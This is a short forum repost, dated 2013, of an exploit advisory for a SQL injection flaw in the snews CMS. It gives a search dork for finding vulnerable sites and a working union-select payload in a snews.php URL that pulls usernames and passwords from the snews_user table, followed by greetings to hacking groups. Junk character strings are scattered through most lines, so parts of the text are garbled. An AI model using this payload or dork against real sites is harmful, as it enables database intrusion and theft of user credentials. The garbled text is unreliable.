标题: CMS snews SQL Injection Vulnerability
3 ]) R4 Q# K% j3 g4 N+ @作者: By onestree
/ B' ~! k Q) U5 n( x, Q% D下载地址 : http://snewscms.com/( W T/ G Y3 j+ S3 x
测试平台 : ubuntu 12.10 / win 79 w0 X7 J0 ?7 u' ]2 O; V
关键词: inurl:"tanyakan pada rumput yang bergoyang") {/ M" _# O2 F0 y/ l3 O1 e
# f+ l6 O! Y5 {- ~0 Z2 n 0 n) P; K2 X: g' D" K: } b
*************************************************************
. |, F2 v( s6 s0 V1 p . \" }8 f8 T: e/ K
SQL poc:( ]0 e, ?' j2 @1 f
! Z1 {/ z0 r' h+ D7 o) ?http://www.2cto.com /snews/snews.php?act=shownews&id=[SQL]5 d' [) M" e# A7 V7 ?
* Z! [' n0 S8 j1 f) y' \3 a示例
) a G0 ]! w( d
. D2 s0 P' O) x2 P* D6 bhttp://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*) r% L2 R; d8 d9 G5 f0 A) Y
( V o4 ]% d& E* s3 J5 f. i9 i
0 r+ G! S4 o+ i: Z$ L& r
致谢:
9 Z& B+ |7 |% V! R6 y" c , k) d: m# ^' l5 ]" E
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
7 ^2 F p7 S2 V1 @/ V" n5 L- B; Q8 w 1 N( w6 P$ R2 r- v& ]& S6 K; _6 a
indonesiancoder - moeslimh4x0r - go-coder
. u$ |- ]2 j* ~! `& v
2 e. B; W3 F5 @; Kspesial my hunny :*' D) `* W" D0 q
|
发表于 2013-1-23 08:55:06
收藏
支持
反对